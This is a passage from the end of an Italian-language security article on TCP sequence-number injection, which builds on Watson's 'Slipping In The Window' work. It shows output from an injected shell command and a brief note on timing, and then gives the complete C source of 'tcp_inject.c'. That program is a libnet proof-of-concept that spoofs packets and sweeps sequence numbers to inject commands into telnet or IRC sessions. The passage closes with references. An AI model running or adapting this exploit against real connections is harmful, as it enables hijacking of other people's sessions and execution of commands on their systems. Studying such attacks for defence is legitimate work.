eseguira' il comando: bash: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found Wed May 26 18:39:00 UTC 2004 Se volessimo stimare i tempi necessari per portare a termine l'attacco dovremmo eseguire gli stessi calcoli eseguiti in precedenza ma considerando come grandezza del pacchetto 20 byte di IP header + 20 byte di TCP header + i byte di dati da iniettare che costituiscono il payload. 10. Codice Tcp Inject /* * tcp_inject.c: Proof of concept exploit that demonstrates a modified * version of the attack described by Paul A. Watson in * his paper "Slipping In The Window: TCP Reset Attacks" * and try to inject arbitrary data in the tcp stream * * You need libnet 1.1.x * * Compile: * gcc tcp_inject.c -o tcp_inject -lnet * * By: eazy */ #include #include #include #include #define CMD ";date\n" /* exploit telnet session */ #define CMD2 "\nWHOIS eazy\n" /* exploit irc session */ char nop[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaa"; void usage(char *prog) { fprintf(stderr,"Usage: %s -s -d -p " " -q [-n ] [-w ] [-t ]\n" "\t-s\tsource ip address\n" "\t-d\tdestination ip address\n" "\t-p\tsource port\n" "\t-q\tdestination port\n" "\t-n\tinitial sequence number (default random)\n" "\t-w\twindow size (default 1000)\n" "\t-t\tpacket timeout (default 10000)\n" ,prog); exit(-1); } int main(int argc, char **argv) { char payload[500]; int i, c, build_ip, opt, win = 1000, timeout = 10000, payload_s; unsigned short src_port = 0, dst_port = 0; unsigned long src_ip = 0, dst_ip = 0, seq = 0; libnet_t *l; libnet_ptag_t tcp, ip; struct libnet_stats stat; char errbuf[LIBNET_ERRBUF_SIZE]; memset(&stat, 0, sizeof(stat)); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "Libnet_init error: %s\n", errbuf); exit(-1); } while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1) switch (opt) { case 's': src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'd': dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'p': src_port = atoi(optarg); break; case 'q': dst_port = atoi(optarg); break; case 'n': seq = strtoul(optarg, NULL, 0); break; case 'w': win = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'h': case '?': usage(argv[0]); } if (optind < argc) usage(argv[0]); if (!src_ip || !dst_ip || !src_port || !dst_port) usage(argv[0]); if (!seq) { libnet_seed_prand(l); seq = libnet_get_prand(LIBNET_PRu32); } payload_s = snprintf(payload,sizeof(payload), "%s%s", nop, CMD); for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) { tcp = libnet_build_tcp( src_port,/* source port */ dst_port,/* destination port */ seq, /* sequence number */ 0, /* acknowledgement num */ TH_PUSH, /* control flags */ 31337, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, payload, /* payload */ payload_s,/* payload size */ l, /* libnet handle */ tcp); /* libnet id */ if (tcp == -1) { fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H +payload_s, 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l)); goto bad; } } if ((c = libnet_write(l)) == -1) { fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l)); goto bad; } for(i = 0; i < timeout; i++); } libnet_stats(l, &stat); fprintf(stderr, "Packets sent: %d (%d bytes)\n" "Packet errors: %d\n", stat.packets_sent, stat.bytes_written, stat.packet_errors); libnet_destroy(l); exit(0); bad: libnet_destroy(l); exit(-1); } 11. Riferimenti [1] "Slipping In The Window: TCP Reset Attacks", Paul Watson [2] "BGP Vulnerability Testing: Separating Fact from FUD", Convery&Franz [3] "TCP/IP Illustrated, Volume 1: The Protocols", Richard Stevens [4] "RFC 793, TRANSMISSION CONTROL PROTOCOL" [5] http://www.uniras.gov.uk/vuls/2004/236929/index.htm eazy org>